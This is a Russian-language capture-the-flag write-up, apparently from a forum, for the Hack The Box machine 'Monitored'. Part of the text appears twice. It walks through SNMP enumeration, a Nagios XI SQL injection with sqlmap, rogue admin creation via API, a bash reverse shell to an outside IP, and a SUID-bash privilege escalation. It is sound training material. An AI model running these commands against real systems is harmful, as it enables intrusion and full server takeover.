stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы поработаем с API системы мониторинга Nagios XI, проэксплуатируем SQL-инъекцию, создадим своего пользователя и злоупотребим возможностями админа, чтобы получить доступ к операционной системе. Затем несложным способом повысим привилегии в Linux.
Наша цель — получение прав суперпользователя на машине Monitored с учебной площадки Hack The Box. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Часто я дополнительно проверяю порт UDP 161.
В этот раз он оказался открыт.
Результат сканирования UDP-портов
Итого сканер нашел шесть открытых портов:
Поскольку доступна служба SNMP, начнем именно с нее.
Тут следует сразу упомянуть два понятия:
или Зарегистрируйся.
Перебор community-строк
В итоге нашли всего одну community-строку — public. Все OID системы можно получить, просканировав устройство, например вот такой командой:
Данные, полученные из системы
Среди списков процессов есть скрипт check_host.sh, который получает в качестве параметров учетные данные. Больше в выводе ничего интересного нет, поэтому переходим к изучению сайта на обнаруженном при сканировании портов веб‑сервере.
Главная страница сайта nagios.monitored.htb
Перейдя по главной ссылке, видим форму авторизации мониторинговой системы Nagios XI.
Система Nagios XI
Содержимое страницы terminal
Если учетная запись присутствует, но авторизация ей не разрешена, можно попробовать использовать API. Но и там нужен аутентификатор.
Для просмотра ссылки Войдиили Зарегистрируйся
Результат запроса к API user
Получить аутентификатор можно с помощью API authenticate, но данные авторизации нужно посылать методом POST.
Результат запроса к API authenticate
Получение аутентификатора
Однако и теперь ничего нельзя сделать. Так как других вариантов нет, попробуем найти публичные эксплоиты для нашей версии Nagios XI. Искать для начала можно прямо в Google.
Поиск эксплоитов в Google
Потратив некоторое время, я вышел на Для просмотра ссылки Войдиили Зарегистрируйся нескольких уязвимостей для Nagios XI, в частности CVE-2023-40931.
Описание CVE-2023-40931
На странице admin/banner_message-ajaxhelper.php присутствует SQL-инъекция в параметре id. Немного перебрав разные варианты запроса, я определил тот, который можно использовать для эксплуатации уязвимости. Помимо приведенных в статье данных, нужно указать полученный при аутентификации через API токен.
Чтобы быстро выудить все данные, будем использовать sqlmap.
Обнаруженная sqlmap нагрузка
Так как известны название базы и таблицы, можно быстро сдампить данные.
Данные из таблицы xi_users
Данные из базы данных
Сбрутить хеш у меня не вышло, однако теперь у нас есть токен api_key администратора системы. Этот ключ можно использовать для добавления нового пользователя, как указано на Для просмотра ссылки Войдиили Зарегистрируйся Nagios XI. Чтобы наш пользователь был администратором, зададим параметр auth_level.
Ответ сервера
Теперь можно авторизоваться от имени созданного пользователя.
Главная страница администратора
Админ может выполнять системные команды на сервере. Для этого в главном меню нужно выбрать Configure → Core Config Manager, а затем в панели слева — Commands.
Для просмотра ссылки Войдиили Зарегистрируйся
Страница Core Config Manager
На странице Command Management нужно создать команду, которая активирует реверс‑шелл:
Страница Command Management
Давай теперь выполним эту команду. Для этого переходим в меню Hosts, где создаем новую запись. В параметре Check command выбираем созданную ранее команду.
Страница Hosts
Страница Host Management
Когда все готово, запускаем листенер (pwncat-cs -lp 4321) и триггерим команду кликом по кнопке Run Check Command.
Результат выполнения команды
Флаг пользователя
В итоге получаем сессию на сервере от имени пользователя nagios.
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Закидываем на хост скрипт для Linux, даем ему право на выполнение и запускаем сканирование. В выводе много информации, поэтому пройдемся по основным моментам.
Есть несколько файлов .services, куда мы можем производить запись.
Файл .services
В настройках sudoers — много команд, которые можно выполнить от имени root без ввода пароля.
Настройки sudoers
Содержимое файла manage_services.sh
Мы можем записывать в файл этой службы. Добавив в него команду, мы можем, например, дать права суперпользователя командной оболочке:
Содержимое файла /usr/local/nagios/bin/npcd
Теперь останавливаем и запускаем службу. У файла командной оболочки появился S-бит, а значит, и права рута.
Запуск службы
Заходим снова и забираем флаг рута.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Monitored с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.248 monitored.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Часто я дополнительно проверяю порт UDP 161.
sudo nmap -p161 -sU 10.10.11.248
В этот раз он оказался открыт.

Итого сканер нашел шесть открытых портов:
- 22 — служба OpenSSH 8.4p1;
- 80 и 443 — веб‑сервер Apache 2.4.56;
- 389 — служба LDAP;
- 5667 — неизвестный сервис;
- 161 (UDP) — служба SNMP.
10.10.11.248 monitored.htb nagios.monitored.htb
Поскольку доступна служба SNMP, начнем именно с нее.
Точка входа
SNMP — простой протокол управления сетью. Он используется для мониторинга устройств в сети (например, маршрутизаторов, коммутаторов, принтеров).Тут следует сразу упомянуть два понятия:
- MIB (Management Information Base) — база данных, хранящая информацию обо всех объектах (параметрах и настройках) устройства;
- OID (Object Identifier) — числовой идентификатор объекта в дереве MIB.
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.11.248

В итоге нашли всего одну community-строку — public. Все OID системы можно получить, просканировав устройство, например вот такой командой:
snmpwalk -v 2c -c public 10.10.11.248

Среди списков процессов есть скрипт check_host.sh, который получает в качестве параметров учетные данные. Больше в выводе ничего интересного нет, поэтому переходим к изучению сайта на обнаруженном при сканировании портов веб‑сервере.

Перейдя по главной ссылке, видим форму авторизации мониторинговой системы Nagios XI.

Точка опоры
С имеющимися учетными данными авторизоваться в сервисе не вышло. У Nagios XI есть веб‑терминал, но и там авторизация неудачна.
Если учетная запись присутствует, но авторизация ей не разрешена, можно попробовать использовать API. Но и там нужен аутентификатор.
Для просмотра ссылки Войди
XI/api/v1/user

Получить аутентификатор можно с помощью API authenticate, но данные авторизации нужно посылать методом POST.
curl -k [URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate

curl -X POST -k '[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate/' -d 'username=svc&password=XjH7VCehowpR1xZB' | jq

Однако и теперь ничего нельзя сделать. Так как других вариантов нет, попробуем найти публичные эксплоиты для нашей версии Nagios XI. Искать для начала можно прямо в Google.

Потратив некоторое время, я вышел на Для просмотра ссылки Войди

На странице admin/banner_message-ajaxhelper.php присутствует SQL-инъекция в параметре id. Немного перебрав разные варианты запроса, я определил тот, который можно использовать для эксплуатации уязвимости. Помимо приведенных в статье данных, нужно указать полученный при аутентификации через API токен.
Чтобы быстро выудить все данные, будем использовать sqlmap.
sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id --batch

Так как известны название базы и таблицы, можно быстро сдампить данные.
sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id -D Nagios XI -T xi_users --dump --batch

Продвижение
В базе всего два пользователя, при этом скомпрометированный пользователь svc неактивен.
Сбрутить хеш у меня не вышло, однако теперь у нас есть токен api_key администратора системы. Этот ключ можно использовать для добавления нового пользователя, как указано на Для просмотра ссылки Войди
curl -X POST -k "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=ralf&password=ralf&name=Ralf&email=[EMAIL]ralf@ralf.com[/EMAIL]&auth_level=admin"

Теперь можно авторизоваться от имени созданного пользователя.

Админ может выполнять системные команды на сервере. Для этого в главном меню нужно выбрать Configure → Core Config Manager, а затем в панели слева — Commands.
Для просмотра ссылки Войди

На странице Command Management нужно создать команду, которая активирует реверс‑шелл:
bash -c 'bash -i >& /dev/tcp/10.10.16.45/4321 0>&1

Давай теперь выполним эту команду. Для этого переходим в меню Hosts, где создаем новую запись. В параметре Check command выбираем созданную ранее команду.


Когда все готово, запускаем листенер (pwncat-cs -lp 4321) и триггерим команду кликом по кнопке Run Check Command.


В итоге получаем сессию на сервере от имени пользователя nagios.
Локальное повышение привилегий
Первым делом нужно собрать информацию для дальнейшего продвижения. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗакидываем на хост скрипт для Linux, даем ему право на выполнение и запускаем сканирование. В выводе много информации, поэтому пройдемся по основным моментам.
Есть несколько файлов .services, куда мы можем производить запись.

В настройках sudoers — много команд, которые можно выполнить от имени root без ввода пароля.

Скрипт /usr/local/nagiosxi/scripts/manage_services.sh позволяет управлять многими службами, в том числе npcd.

Мы можем записывать в файл этой службы. Добавив в него команду, мы можем, например, дать права суперпользователя командной оболочке:
chmod u+s /bin/bash

Теперь останавливаем и запускаем службу. У файла командной оболочки появился S-бит, а значит, и права рута.
Код:
sudo /usr/local/Nagios XI/scripts/manage_services.sh stop npcd
sudo /usr/local/Nagios XI/scripts/manage_services.sh start npcd

Заходим снова и забираем флаг рута.
/bin/bash -p

Машина захвачена!